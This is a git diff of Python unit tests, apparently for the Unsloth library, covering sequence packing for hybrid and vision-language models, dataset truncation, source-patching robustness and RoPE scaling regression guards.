+def test_patch_hybrid_varlen_flag_off(monkeypatch):
+    monkeypatch.delenv("UNSLOTH_EXPERIMENTAL_HYBRID_PACKING", raising = False)
+    model = _ShimHybridModel()
+    assert patch_hybrid_linear_attention_varlen(model) is False
+    assert not getattr(model, "_unsloth_varlen_forward_wrapped", False)
+
+
+def test_patch_hybrid_varlen_active_and_idempotent(monkeypatch):
+    monkeypatch.setenv("UNSLOTH_EXPERIMENTAL_HYBRID_PACKING", "1")
+    model = _ShimHybridModel()
+    conv_orig, scan_orig = (
+        model.linear_attn.causal_conv1d_fn,
+        model.linear_attn.chunk_gated_delta_rule,
+    )
+
+    assert patch_hybrid_linear_attention_varlen(model) is True
+    assert model._unsloth_varlen_forward_wrapped is True
+    assert model.linear_attn._unsloth_varlen_wrapped is True
+    assert patch_hybrid_linear_attention_varlen(model) is True  # idempotent, no double-wrap
+
+    conv_orig.calls.clear()
+    scan_orig.calls.clear()
+    packing_module._HYBRID_WARNED.clear()
+    ids = torch.zeros(1, 6, dtype = torch.long)
+    model(
+        input_ids = ids,
+        packed_seq_lengths = torch.tensor([2, 1, 3], dtype = torch.int32),
+        use_cache = False,
+    )
+    assert conv_orig.calls[-1] is not None  # seq_idx injected
+    assert scan_orig.calls[-1].tolist() == [0, 2, 3, 6]  # cu_seqlens injected
+    assert not packing_module._HYBRID_WARNED  # handshake passed, no rejection
+
+    conv_orig.calls.clear()
+    scan_orig.calls.clear()
+    model(
+        input_ids = ids, packed_seq_lengths = torch.tensor([2, 1, 3], dtype = torch.int32), use_cache = True
+    )
+    assert conv_orig.calls[-1] is None  # cached forward -> no injection
+    assert scan_orig.calls[-1] is None
+
+
+def test_patch_hybrid_varlen_torch_fallback_fail_closed(monkeypatch):
+    monkeypatch.setenv("UNSLOTH_EXPERIMENTAL_HYBRID_PACKING", "1")
+    model = _ShimHybridModel()
+
+    def torch_chunk_gated_delta_rule(
+        q,
+        cu_seqlens = None,
+        **kw,
+    ):
+        return q
+
+    model.linear_attn.chunk_gated_delta_rule = torch_chunk_gated_delta_rule
+    assert patch_hybrid_linear_attention_varlen(model) is False
+    assert not getattr(model, "_unsloth_varlen_forward_wrapped", False)
+
+
+def test_patch_hybrid_varlen_bad_signature_fail_closed(monkeypatch):
+    monkeypatch.setenv("UNSLOTH_EXPERIMENTAL_HYBRID_PACKING", "1")
+    model = _ShimHybridModel()
+
+    def scan_no_cu(q, **kw):  # missing cu_seqlens
+        return q
+
+    model.linear_attn.chunk_gated_delta_rule = scan_no_cu
+    assert patch_hybrid_linear_attention_varlen(model) is False
+
+
+def _hybrid_model_with_gdn(gdn_forward):
+    # Build a fake hybrid model whose gated-delta mixer forward is `gdn_forward`.
+    class _GatedDeltaNet(torch.nn.Module):
+        def __init__(self):
+            super().__init__()
+            self.conv1d = torch.nn.Conv1d(4, 4, 3, groups = 4)
+            self.causal_conv1d_fn, self.chunk_gated_delta_rule = _make_fake_kernels()
+
+        forward = gdn_forward
+
+    class _Model(torch.nn.Module):
+        def __init__(self):
+            super().__init__()
+            self.config = SimpleNamespace(layer_types = ["linear_attention", "full_attention"])
+            self.linear_attn = _GatedDeltaNet()
+
+        def forward(
+            self,
+            input_ids = None,
+            packed_seq_lengths = None,
+            use_cache = None,
+            **kwargs,
+        ):
+            return self.linear_attn(input_ids.float())
+
+    return _Model()
+
+
+def test_patch_hybrid_varlen_no_dispatch_aborts(monkeypatch):
+    # Dispatch is verified at runtime, not statically. A mixer that never calls
+    # self.<kernel> installs the shim, but the first packed forward aborts (both
+    # boundary kernels are load-bearing).
+    monkeypatch.setenv("UNSLOTH_EXPERIMENTAL_HYBRID_PACKING", "1")
+    model = _hybrid_model_with_gdn(lambda self, hidden_states, **kw: hidden_states)
+    assert patch_hybrid_linear_attention_varlen(model) is True  # kernels valid -> installs
+    with pytest.raises(RuntimeError, match = "both invoked"):
+        model(
+            input_ids = torch.zeros(1, 6),
+            packed_seq_lengths = torch.tensor([2, 1, 3], dtype = torch.int32),
+            use_cache = False,
+        )
+
+
+def test_patch_hybrid_varlen_partial_dispatch_aborts(monkeypatch):
+    # Only the conv fires; the scan would leak state. Both must be invoked, so abort.
+    monkeypatch.setenv("UNSLOTH_EXPERIMENTAL_HYBRID_PACKING", "1")
+    conv_only = _hybrid_model_with_gdn(
+        lambda self, hidden_states, **kw: self.causal_conv1d_fn(hidden_states)
+    )
+    assert patch_hybrid_linear_attention_varlen(conv_only) is True
+    with pytest.raises(RuntimeError, match = "both invoked"):
+        conv_only(
+            input_ids = torch.zeros(1, 6),
+            packed_seq_lengths = torch.tensor([2, 1, 3], dtype = torch.int32),
+            use_cache = False,
+        )
+
+    scan_only = _hybrid_model_with_gdn(
+        lambda self, hidden_states, **kw: self.chunk_gated_delta_rule(hidden_states)
+    )
+    assert patch_hybrid_linear_attention_varlen(scan_only) is True
+    with pytest.raises(RuntimeError, match = "both invoked"):
+        scan_only(
+            input_ids = torch.zeros(1, 6),
+            packed_seq_lengths = torch.tensor([2, 1, 3], dtype = torch.int32),
+            use_cache = False,
+        )
+
+
+def test_varlen_from_position_ids_mrope_3d():
+    pos = (
+        torch.tensor([[0, 1, 0, 0, 1, 2]]).unsqueeze(0).expand(3, 1, 6).clone()
+    )  # [3,1,T] text plane
+    cu, seq_idx = packing_module._varlen_from_position_ids(pos)
+    assert cu.tolist() == [0, 2, 3, 6]
+    assert seq_idx.tolist() == [[0, 0, 1, 2, 2, 2]]
+
+
+def test_hybrid_varlen_metadata_trailing_pad():
+    # packed_seq_lengths sum to 6 but the flattened input is 8 (pad_to_multiple_of).
+    kwargs = {
+        "input_ids": torch.zeros(1, 8, dtype = torch.long),
+        "packed_seq_lengths": torch.tensor([2, 1, 3], dtype = torch.int32),
+    }
+    cu, seq_idx = packing_module._hybrid_varlen_metadata(kwargs)
+    assert cu.tolist() == [0, 2, 3, 6, 8]
+    assert seq_idx.tolist() == [[0, 0, 1, 2, 2, 2, 3, 3]]
+
+
+def _patch_fake_sft_trainer():
+    class FakeSFTTrainer:
+        def __init__(self, *args, **kwargs):
+            self.model = args[0] if len(args) >= 1 else kwargs["model"]
+            self.args = args[1] if len(args) >= 2 else kwargs["args"]
+            self.data_collator = args[2] if len(args) >= 3 else kwargs.get("data_collator")
+
+    trainer_module._patch_sft_trainer_auto_packing(SimpleNamespace(SFTTrainer = FakeSFTTrainer))
+    return FakeSFTTrainer
+
+
+def _vlm_model():
+    return SimpleNamespace(
+        config = SimpleNamespace(
+            architectures = ["Gemma4ForConditionalGeneration"],
+            model_type = "gemma4",
+            vision_config = SimpleNamespace(),
+        ),
+        max_seq_length = 16,
+    )
+
+
+def _text_model():
+    return SimpleNamespace(
+        config = SimpleNamespace(
+            architectures = ["LlamaForCausalLM"],
+            model_type = "llama",
+        ),
+        max_seq_length = 16,
+    )
+
+
+class _CharacterTokenizer:
+    bos_token = None
+    eos_token = None
+    chat_template = None
+
+    def __call__(self, texts, **kwargs):
+        is_batched = isinstance(texts, list)
+        if not is_batched:
+            texts = [texts]
+        input_ids = [[ord(char) for char in text] for text in texts]
+        if kwargs.get("truncation") and kwargs.get("max_length") is not None:
+            input_ids = [ids[: kwargs["max_length"]] for ids in input_ids]
+        return {"input_ids": input_ids if is_batched else input_ids[0]}
+
+
+def test_vlm_text_dataset_allows_explicit_packing():
+    fake_trainer = _patch_fake_sft_trainer()
+    config = SimpleNamespace(packing = True, padding_free = None, remove_unused_columns = True)
+
+    trainer = fake_trainer(
+        model = _vlm_model(),
+        args = config,
+        processing_class = object(),
+        train_dataset = Dataset.from_dict({"text": ["text-only CPT sample"]}),
+    )
+
+    assert config.packing is True
+    assert config.padding_free is True
+    assert trainer.model._unsloth_allow_packed_overlength is True
+
+
+def test_vlm_without_processing_class_still_disables_packing():
+    fake_trainer = _patch_fake_sft_trainer()
+    config = SimpleNamespace(packing = True, padding_free = None, remove_unused_columns = True)
+
+    fake_trainer(
+        _vlm_model(),
+        config,
+        None,
+        Dataset.from_dict({"text": ["text-only sample"]}),
+    )
+
+    assert config.packing is False
+    assert config.padding_free is False
+
+
+@pytest.mark.parametrize(
+    ("model_type", "architecture"),
+    (
+        ("t5", "T5ForConditionalGeneration"),
+        ("bart", "BartForConditionalGeneration"),
+        ("whisper", "WhisperForConditionalGeneration"),
+    ),
+)
+def test_encoder_decoder_disables_packing(model_type, architecture):
+    # Text-only encoder-decoder models are not VLMs, but their bidirectional encoder
+    # attends across concatenated samples once padding-free drops attention_mask.
+    fake_trainer = _patch_fake_sft_trainer()
+    config = SimpleNamespace(packing = True, padding_free = None, remove_unused_columns = True)
+    model = SimpleNamespace(
+        config = SimpleNamespace(
+            model_type = model_type,
+            architectures = [architecture],
+            is_encoder_decoder = True,
+        ),
+        max_seq_length = 16,
+    )
+
+    trainer = fake_trainer(model, config, None, Dataset.from_dict({"text": ["text-only sample"]}))
+
+    assert config.packing is False
+    assert config.padding_free is False
+
+
+def test_decoder_only_conditional_generation_keeps_packing():
+    # CSM is decoder-only despite the ForConditionalGeneration name -> packing stays on.
+    fake_trainer = _patch_fake_sft_trainer()
+    config = SimpleNamespace(packing = True, padding_free = None, remove_unused_columns = True)
+    model = SimpleNamespace(
+        config = SimpleNamespace(
+            model_type = "csm",
+            architectures = ["CsmForConditionalGeneration"],
+            is_encoder_decoder = False,
+        ),
+        max_seq_length = 16,
+    )
+
+    trainer = fake_trainer(model, config, None, Dataset.from_dict({"text": ["text-only sample"]}))
+
+    assert config.packing is True
+    assert config.padding_free is True
+    assert trainer.model._unsloth_allow_packed_overlength is True
+
+
+def _hybrid_trainer_model():
+    return SimpleNamespace(
+        config = SimpleNamespace(
+            model_type = "qwen3_next",
+            architectures = ["Qwen3NextForCausalLM"],
+            layer_types = ["linear_attention", "full_attention"],
+        ),
+        max_seq_length = 16,
+    )
+
+
+def test_hybrid_varlen_active_enables_packing(monkeypatch):
+    # Baseline: shim active + no forward bypass -> hybrid packing is allowed.
+    monkeypatch.setattr(trainer_module, "_chunked_loss_bypasses_forward", lambda config: False)
+    monkeypatch.setattr(trainer_module, "patch_hybrid_linear_attention_varlen", lambda model: True)
+    fake_trainer = _patch_fake_sft_trainer()
+    config = SimpleNamespace(packing = True, padding_free = None, remove_unused_columns = True)
+    fake_trainer(_hybrid_trainer_model(), config, None, Dataset.from_dict({"text": ["x"]}))
+    assert config.packing is True
+    assert config.padding_free is True
+
+
+def test_hybrid_chunked_loss_stays_on_padded_path(monkeypatch):
+    # TRL's chunked-loss forward bypass leaves the varlen shim off -> block packing.
+    monkeypatch.setattr(trainer_module, "_chunked_loss_bypasses_forward", lambda config: True)
+    monkeypatch.setattr(trainer_module, "patch_hybrid_linear_attention_varlen", lambda model: True)
+    fake_trainer = _patch_fake_sft_trainer()
+    config = SimpleNamespace(packing = True, padding_free = None, remove_unused_columns = True)
+    fake_trainer(_hybrid_trainer_model(), config, None, Dataset.from_dict({"text": ["x"]}))
+    assert config.packing is False
+    assert config.padding_free is False
+
+
+def test_string_hybrid_model_disables_packing(monkeypatch):
+    # A string model= is materialized after init; a hybrid string is blocked because the
+    # shim cannot patch a not-yet-built model.
+    monkeypatch.setattr(
+        trainer_module,
+        "_resolve_string_model_config",
+        lambda name, cfg: SimpleNamespace(
+            model_type = "qwen3_next",
+            architectures = ["Qwen3NextForCausalLM"],
+            layer_types = ["linear_attention", "full_attention"],
+        ),
+    )
+    monkeypatch.setattr(trainer_module, "patch_hybrid_linear_attention_varlen", lambda model: True)
+    fake_trainer = _patch_fake_sft_trainer()
+    config = SimpleNamespace(packing = True, padding_free = None, remove_unused_columns = True)
+    fake_trainer("Qwen/Qwen3-Next-80B-A3B", config, None, Dataset.from_dict({"text": ["x"]}))
+    assert config.packing is False
+    assert config.padding_free is False
+
+
+def test_vlm_vision_dataset_still_disables_packing():
+    fake_trainer = _patch_fake_sft_trainer()
+    config = SimpleNamespace(packing = True, padding_free = None, remove_unused_columns = True)
+
+    fake_trainer(
+        _vlm_model(),
+        config,
+        None,
+        Dataset.from_dict({"images": [None], "text": ["multimodal sample"]}),
+        None,
+        object(),
+    )
+
+    assert config.packing is False
+    assert config.padding_free is False
+
+
+@pytest.mark.parametrize(
+    "vision_column",
+    ("pixel_values", "pixel_attention_mask", "image_grid_thw"),
+)
+def test_vlm_preprocessed_vision_dataset_disables_packing(vision_column):
+    fake_trainer = _patch_fake_sft_trainer()
+    config = SimpleNamespace(packing = True, padding_free = None, remove_unused_columns = True)
+
+    fake_trainer(
+        model = _vlm_model(),
+        args = config,
+        processing_class = object(),
+        train_dataset = Dataset.from_dict({"input_ids": [[1]], vision_column: [None]}),
+    )
+
+    assert config.packing is False
+    assert config.padding_free is False
+
+
+@pytest.mark.parametrize("dict_eval", (False, True))
+def test_vlm_vision_eval_dataset_disables_packing(dict_eval):
+    fake_trainer = _patch_fake_sft_trainer()
+    config = SimpleNamespace(packing = True, padding_free = None, remove_unused_columns = True)
+    eval_dataset = Dataset.from_dict({"input_ids": [[1]], "pixel_values": [None]})
+    if dict_eval:
+        eval_dataset = {"vision": eval_dataset}
+
+    fake_trainer(
+        model = _vlm_model(),
+        args = config,
+        processing_class = object(),
+        train_dataset = Dataset.from_dict({"text": ["text-only training sample"]}),
+        eval_dataset = eval_dataset,
+    )
+
+    assert config.packing is False
+    assert config.padding_free is False
+
+
+def test_vlm_streaming_vision_dataset_without_metadata_disables_packing():
+    fake_trainer = _patch_fake_sft_trainer()
+    config = SimpleNamespace(packing = True, padding_free = None, remove_unused_columns = True)
+    dataset = IterableDataset.from_generator(
+        lambda: iter([{"images": [None], "text": "multimodal sample"}])
+    )
+    assert dataset.column_names is None
+
+    fake_trainer(
+        model = _vlm_model(),
+        args = config,
+        processing_class = object(),
+        train_dataset = dataset,
+    )
+
+    assert config.packing is False
+    assert config.padding_free is False
+    assert next(iter(dataset))["text"] == "multimodal sample"
+
+
+@pytest.mark.parametrize("data_collator", (None, object()))
+def test_stateful_stream_is_not_consumed_during_detection(data_collator):
+    class StatefulDataset:
+        def __init__(self):
+            self.rows = iter([{"text": "first"}, {"text": "second"}])
+
+        def __iter__(self):
+            return (row for row in self.rows)
+
+    fake_trainer = _patch_fake_sft_trainer()
+    config = SimpleNamespace(packing = True, padding_free = None, remove_unused_columns = True)
+    dataset = StatefulDataset()
+
+    fake_trainer(
+        model = _vlm_model(),
+        args = config,
+        processing_class = object(),
+        data_collator = data_collator,
+        train_dataset = dataset,
+    )
+
+    assert config.packing is False
+    assert config.padding_free is False
+    assert next(iter(dataset))["text"] == "first"
+
+
+def test_text_model_stream_without_metadata_keeps_packing():
+    class StatefulDataset:
+        def __init__(self):
+            self.rows = iter([{"text": "first"}, {"text": "second"}])
+
+        def __iter__(self):
+            return (row for row in self.rows)
+
+    fake_trainer = _patch_fake_sft_trainer()
+    config = SimpleNamespace(packing = True, padding_free = None, remove_unused_columns = True)
+    dataset = StatefulDataset()
+
+    trainer = fake_trainer(
+        model = _text_model(),
+        args = config,
+        processing_class = object(),
+        train_dataset = dataset,
+    )
+
+    assert config.packing is True
+    assert config.padding_free is True
+    assert trainer.model._unsloth_allow_packed_overlength is True
+    assert next(iter(dataset))["text"] == "first"
+
+
+def test_bfd_packing_truncates_before_packing(monkeypatch):
+    args = SimpleNamespace(
+        dataset_num_proc = 1,
+        dataset_text_field = "text",
+        max_length = 4,
+        packing_strategy = "bfd",
+    )
+    trainer = SimpleNamespace(model = None)
+    dataset = Dataset.from_dict({"prompt": ["abc"], "completion": ["defghij"]})
+    prepare_globals = SFTTrainer._prepare_dataset.__globals__
+
+    def passthrough_pack_dataset(dataset, seq_length, strategy, map_kwargs):
+        return dataset
+
+    monkeypatch.setitem(prepare_globals, "pack_dataset", passthrough_pack_dataset)
+    packed = SFTTrainer._prepare_dataset(
+        trainer,
+        dataset,
+        _CharacterTokenizer(),
+        args,
+        True,
+        None,
+        "train",
+    )
+
+    assert len(packed["input_ids"][0]) == args.max_length
+
+
+def test_wrapped_strategy_without_packing_still_truncates():
+    args = SimpleNamespace(
+        dataset_num_proc = 1,
+        dataset_text_field = "text",
+        max_length = 4,
+        packing_strategy = "wrapped",
+    )
+    trainer = SimpleNamespace(model = None)
+    dataset = Dataset.from_dict({"text": ["abcdefghi"]})
+
+    prepared = SFTTrainer._prepare_dataset(
+        trainer,
+        dataset,
+        _CharacterTokenizer(),
+        args,
+        False,
+        None,
+        "train",
+    )
+
+    assert len(prepared["input_ids"][0]) == args.max_length
+
+
+@pytest.mark.parametrize("legacy_api", (False, True))
+def test_wrapped_packing_preserves_overlength_tokens(monkeypatch, legacy_api):
+    args_kwargs = {
+        "dataset_num_proc": 1,
+        "dataset_text_field": "text",
+        "max_length": 4,
+    }
+    if not legacy_api:
+        args_kwargs["packing_strategy"] = "wrapped"
+    args = SimpleNamespace(**args_kwargs)
+    trainer = SimpleNamespace(model = None)
+    dataset = Dataset.from_dict({"text": ["abcdefghi"]})
+    prepare_globals = SFTTrainer._prepare_dataset.__globals__
+    pack_dataset = prepare_globals["pack_dataset"]
+
+    def legacy_pack_dataset(
+        dataset,
+        seq_length,
+        map_kwargs = None,
+    ):
+        return pack_dataset(dataset, seq_length, "wrapped", map_kwargs)
+
+    if legacy_api:
+        monkeypatch.setitem(prepare_globals, "pack_dataset", legacy_pack_dataset)
+
+    packed = SFTTrainer._prepare_dataset(
+        trainer,
+        dataset,
+        _CharacterTokenizer(),
+        args,
+        True,
+        None,
+        "train",
+    )
+
+    packed_ids = packed["input_ids"]
+    assert sum(len(input_ids) for input_ids in packed_ids) == 9
+    assert all(len(input_ids) <= args.max_length for input_ids in packed_ids)
+
+
 class _DummyChild(torch.nn.Module):
     def __init__(self):
         super().__init__()
@@ -390,3 +1111,128 @@ def test_packing_sdpa(tmp_path):
 
     if hasattr(trainer, "accelerator"):
         trainer.accelerator.free_memory()
+
+
+# --- wrapped-packing source-injection robustness (reviewer.py / fork findings) --------
+
+
+# fmt: off
+# Named to match the unsloth_zoo helper (sourced by name, "def sft_prepare_dataset" ->
+# "def _prepare_dataset"). Deliberately OMITS the "licensed under LGPLv3" header to
+# emulate a newer Zoo whose header moved (dependency is only lower-bounded). Source only.
+def sft_prepare_dataset(
+    self, dataset, processing_class, args, packing, formatting_func, dataset_text_field
+):
+    do_truncation = True
+    max_seq_length = 4
+    used_column_names = ["text"]
+    map_kwargs = {}
+    dataset = processing_class(dataset, truncation = do_truncation,)
+    if do_truncation and max_seq_length > 0:
+        pass
+    if packing:
+        dataset = pack_dataset(
+            dataset.select_columns(used_column_names),
+            max_seq_length,
+            getattr(args, "packing_strategy", "bfd"),
+            map_kwargs,
+        )
+    return dataset
+# fmt: on
+
+
+def test_wrapped_packing_injection_is_drift_resistant(monkeypatch):
+    # Regression: the setup used to anchor on the Zoo license comment, so a header
+    # change silently no-op'd it while the truncation/pack edits still referenced its
+    # variables -> NameError on every SFT prep. It must now install via the signature
+    # before those references, and the pack edit must reuse the guarded
+    # _unsloth_pack_has_strategy instead of re-calling _inspect.signature(pack_dataset).
+    import ast
+    import textwrap
+    import unsloth.models.rl_replacements as rlr
+
+    monkeypatch.setitem(rlr.RL_REPLACEMENTS, "sft_prepare_dataset", sft_prepare_dataset)
+
+    source = (
+        "def _prepare_dataset(self, dataset, processing_class, args, packing, "
+        "formatting_func, dataset_text_field):\n    return dataset\n"
+    )
+    patched = rlr.sft_trainer_prepare_dataset("_prepare_dataset", source)
+
+    # setup installed despite the missing header, and before it is referenced
+    assert "_unsloth_wrapped_packing = packing" in patched
+    assert "import inspect as _inspect" in patched
+    assert patched.index("_unsloth_wrapped_packing = packing") < patched.index(
+        "truncation = do_truncation and not _unsloth_wrapped_packing"
+    )
+    # the pack edit reuses the guarded flag (signature inspected exactly once, in setup)
+    assert "if _unsloth_pack_has_strategy:" in patched
+    assert patched.count("_inspect.signature(pack_dataset)") == 1
+    ast.parse(textwrap.dedent(patched))
+
+
+def test_require_replace_raises_on_missing_anchor():
+    from unsloth.models.rl_replacements import _require_replace
+
+    assert _require_replace("abc", "b", "B") == "aBc"
+    with pytest.raises(RuntimeError):
+        _require_replace("abc", "z", "Z", where = "unit test")
+    # an optional edit warns once and returns the source unchanged (no dangling ref)
+    assert _require_replace("abc", "z", "Z", required = False, where = "optional") == "abc"
+
+
+def test_resolve_string_model_config_forwards_token(monkeypatch):
+    import transformers
+
+    captured = {}
+
+    class _FakeAutoConfig:
+        @staticmethod
+        def from_pretrained(name, **kwargs):
+            captured.update(kwargs)
+            return SimpleNamespace(is_encoder_decoder = False)
+
+    monkeypatch.setattr(transformers, "AutoConfig", _FakeAutoConfig)
+
+    config_arg = SimpleNamespace(
+        model_init_kwargs = {
+            "token": "hf_secret",
+            "trust_remote_code": True,
+            "cache_dir": "/tmp/cache",
+            "torch_dtype": "bfloat16",  # not a config arg -> must NOT be forwarded
+        }
+    )
+    result = trainer_module._resolve_string_model_config("org/private-hybrid", config_arg)
+
+    assert result is not None
+    assert captured.get("token") == "hf_secret"
+    assert captured.get("trust_remote_code") is True
+    assert captured.get("cache_dir") == "/tmp/cache"
+    assert "torch_dtype" not in captured
+
+
+def test_resolve_string_model_config_merges_top_level_trust_remote_code(monkeypatch):
+    import transformers
+
+    captured = {}
+
+    class _FakeAutoConfig:
+        @staticmethod
+        def from_pretrained(name, **kwargs):
+            captured.update(kwargs)
+            return SimpleNamespace(is_encoder_decoder = False)
+
+    monkeypatch.setattr(transformers, "AutoConfig", _FakeAutoConfig)
+
+    # SFTConfig(trust_remote_code=True) with no model_init_kwargs entry is honored
+    config_arg = SimpleNamespace(model_init_kwargs = {}, trust_remote_code = True)
+    trainer_module._resolve_string_model_config("org/remote-hybrid", config_arg)
+    assert captured.get("trust_remote_code") is True
+
+    # model_init_kwargs wins over the top-level flag (mirrors TRL's setdefault)
+    captured.clear()
+    config_arg = SimpleNamespace(
+        model_init_kwargs = {"trust_remote_code": False}, trust_remote_code = True
+    )
+    trainer_module._resolve_string_model_config("org/remote-hybrid", config_arg)
+    assert captured.get("trust_remote_code") is False
diff --git a/tests/utils/test_rope_scaling_drift.py b/tests/utils/test_rope_scaling_drift.py
index b976654f87..b2ec1e5a20 100644
--- a/tests/utils/test_rope_scaling_drift.py
+++ b/tests/utils/test_rope_scaling_drift.py
@@ -31,6 +31,7 @@ requires_cuda = pytest.mark.skipif(
 
 REPO_ROOT = Path(__file__).resolve().parents[2]
 LLAMA_PY = REPO_ROOT / "unsloth" / "models" / "llama.py"
+LOADER_PY = REPO_ROOT / "unsloth" / "models" / "loader.py"
 
 CLASS_NAME = "LlamaRotaryEmbedding"
 
@@ -78,42 +79,88 @@ def _config_branch(init_fn):
     return None
 
 
+def _iter_names_and_calls(node):
+    """(attribute/string names, bare-name calls, method-call attrs) under node."""
+    names, calls, call_attrs = set(), set(), set()
+    for sub in ast.walk(node):
+        if isinstance(sub, ast.Attribute):
+            names.add(sub.attr)
+        elif isinstance(sub, ast.Constant) and isinstance(sub.value, str):
+            names.add(sub.value)
+        elif isinstance(sub, ast.Call):
+            if isinstance(sub.func, ast.Name):
+                calls.add(sub.func.id)
+            elif isinstance(sub.func, ast.Attribute):
+                call_attrs.add(sub.func.attr)
+    return names, calls, call_attrs
+
+
+def _find_method(source_path, class_name, method_name):
+    for node in ast.walk(ast.parse(source_path.read_text())):
+        if isinstance(node, ast.ClassDef) and node.name == class_name:
+            for sub in node.body:
+                if isinstance(sub, ast.FunctionDef) and sub.name == method_name:
+                    return sub
+    return None
+
+
+def _find_function(source_path, function_name):
+    for node in ast.walk(ast.parse(source_path.read_text())):
+        if isinstance(node, ast.FunctionDef) and node.name == function_name:
+            return node
+    return None
+
+
 def test_config_path_inspects_rope_scaling():
     init_fn = _load_class_init()
-    branch = _config_branch(init_fn)
-    assert branch is not None, (
-        f"{CLASS_NAME}.__init__ no longer has an `if config is not None:` "
-        "branch; the config constructor path must read config.rope_scaling so "
-        "scaled models (llama3/linear/longrope) are not silently unscaled "
-        "(issue #2405)"
-    )
+    # inv_freq is derived through the shared _unsloth_recompute_inv_freq helper
+    # (or still inlined in the config branch on older layouts); whichever scope
+    # holds the scaling must read config.rope_scaling and call
+    # _compute_config_rope_inv_freq, else scaled models run unscaled (#2405).
+    _, _, init_call_attrs = _iter_names_and_calls(init_fn)
+    scope = _find_method(LLAMA_PY, CLASS_NAME, "_unsloth_recompute_inv_freq")
+    if scope is not None:
+        assert "_unsloth_recompute_inv_freq" in init_call_attrs, (
+            f"{CLASS_NAME}.__init__ no longer derives inv_freq via "
+            "_unsloth_recompute_inv_freq; keep the constructor wired to the "
+            "shared scaling helper or scaled configs silently lose RoPE scaling "
+            "(issue #2405)."
+        )
+    else:
+        scope = _config_branch(init_fn)
+        assert scope is not None, (
+            f"{CLASS_NAME}.__init__ has neither a _unsloth_recompute_inv_freq "
+            "helper nor an `if config is not None:` branch; the config path must "
+            "apply llama3/linear/longrope scaling (issue #2405)."
+        )
 
-    names = set()
-    for stmt in branch.body:
-        for sub in ast.walk(stmt):
-            if isinstance(sub, ast.Attribute):
-                names.add(sub.attr)
-            elif isinstance(sub, ast.Constant) and isinstance(sub.value, str):
-                names.add(sub.value)
+    names, called, _ = _iter_names_and_calls(scope)
     assert "rope_scaling" in names, (
-        f"{CLASS_NAME}.__init__ config path does not reference `rope_scaling`. "
-        "When a rotary class is built straight from a config (the path modern "
-        "transformers takes, since rotary moved to LlamaModel), the llama3 / "
-        "linear / longrope scaling must still be applied; otherwise long inputs "
-        "produce repeated-pattern gibberish (issue #2405)."
+        f"{CLASS_NAME} inv_freq computation does not reference `rope_scaling`; "
+        "scaled models (llama3/linear/longrope) would run unscaled and produce "
+        "repeated-pattern gibberish past the original context (issue #2405)."
+    )
+    assert "_compute_config_rope_inv_freq" in called, (
+        f"{CLASS_NAME} inv_freq computation no longer calls "
+        "_compute_config_rope_inv_freq; keep it wired or scaled configs silently "
+        "lose RoPE scaling again (issue #2405)."
     )
 
-    called = {
-        sub.func.id
-        for stmt in branch.body
-        for sub in ast.walk(stmt)
-        if isinstance(sub, ast.Call) and isinstance(sub.func, ast.Name)
-    }
-    assert "_compute_config_rope_inv_freq" in called, (
-        f"{CLASS_NAME}.__init__ config path no longer calls "
-        "_compute_config_rope_inv_freq; the CPU behavioral tests below cover "
-        "that helper directly, so the constructor must stay wired to it or "
-        "scaled configs silently lose RoPE scaling again (issue #2405)."
+
+def test_v5_repair_reuses_recompute():
+    # transformers v5 blanks non-persistent buffers on load, so
+    # loader._fix_rope_inv_freq rebuilds inv_freq; it must reuse the scaled
+    # recompute, since an unscaled rebuild re-drops llama3 scaling (#2405).
+    fix_fn = _find_function(LOADER_PY, "_fix_rope_inv_freq")
+    assert fix_fn is not None, (
+        "loader._fix_rope_inv_freq not found; if it was renamed, update this "
+        "guard so the v5 rope repair keeps applying config scaling (issue #2405)."
+    )
+    _, _, call_attrs = _iter_names_and_calls(fix_fn)
+    assert "_unsloth_recompute_inv_freq" in call_attrs, (
+        "loader._fix_rope_inv_freq no longer rebuilds inv_freq via "
+        "_unsloth_recompute_inv_freq; transformers v5 blanks the buffer on load "
+        "and an unscaled rebuild re-drops llama3 scaling (issue #2405)."
     )
 
 
@@ -189,6 +236,117 @@ def test_default_rope_type_matches_vanilla_inv_freq():
     )
 
 
+def test_recompute_helper_scales_on_cpu():
+    # Exercise the exact method loader._fix_rope_inv_freq calls, without CUDA.
+    from unsloth.models.llama import LlamaRotaryEmbedding, _get_rope_theta
+
+    def recompute(config):
+        rot = object.__new__(LlamaRotaryEmbedding)
+        rot.attention_scaling = 1.0
+        rot.base = _get_rope_theta(config, 10000.0)
+        rot.dim = config.head_dim
+        rot._unsloth_rope_config = config
+        return rot._unsloth_recompute_inv_freq().float().cpu()
+
+    config = _make_config(LLAMA3_ROPE_SCALING)
+    assert torch.allclose(
+        recompute(config), _reference_inv_freq(config, "llama3"), rtol = 1e-4, atol = 1e-6
+    ), "_unsloth_recompute_inv_freq dropped llama3 scaling (issue #2405)."
+    assert torch.allclose(
+        recompute(_make_config(None)), _vanilla_inv_freq(), rtol = 1e-4, atol = 1e-6
+    ), "_unsloth_recompute_inv_freq must return vanilla inv_freq when unscaled."
+
+
+def test_extended_rope_scaling_keeps_llama3_and_carries_theta():
+    # Long-context extension keeps native llama3, but falls back to linear for every other
+    # type (the patched attention constructor only rebuilds linear/llama3/longrope), and the
+    # linear dict carries rope_theta so transformers v5 does not fall back to base 10000.
+    from types import SimpleNamespace
+
+    from unsloth.models.llama import _extended_rope_scaling
+
+    # llama3 model: keep native scaling, do not synthesize linear.
+    scaling, native = _extended_rope_scaling(_make_config(LLAMA3_ROPE_SCALING), 2.0)
+    assert (
+        scaling is None and native == "llama3"
+    ), "must keep native llama3 scaling instead of overwriting it with linear."
+
+    # yarn is not rebuildable by the patcher -> keep the safe linear fallback, not native.
+    yarn = SimpleNamespace(rope_scaling = {"rope_type": "yarn", "factor": 2.0}, rope_theta = 500000.0)
+    scaling, _ = _extended_rope_scaling(yarn, 2.0)
+    assert scaling == {
+        "type": "linear",
+        "factor": 2.0,
+        "rope_theta": 500000.0,
+    }, f"yarn must fall back to linear (patcher cannot rebuild it), got {scaling}."
+
+    # plain RoPE with theta only under v5 rope_parameters: linear must carry rope_theta.
+    v5 = SimpleNamespace(rope_parameters = {"rope_type": "default", "rope_theta": 1000000.0})
+    scaling, _ = _extended_rope_scaling(v5, 2.0)
+    assert scaling == {
+        "type": "linear",
+        "factor": 2.0,
+        "rope_theta": 1000000.0,
+    }, f"linear override dropped rope_theta on v5 (got {scaling}); base would fall back to 10000."
+
+
+def test_extended_rotary_reads_config_factor():
+    # LlamaExtendedRotaryEmbedding must honor the config factor, not hardcode 8
+    # (Llama-3.2 uses 32); otherwise the subclass path re-drops scaling (#2405).
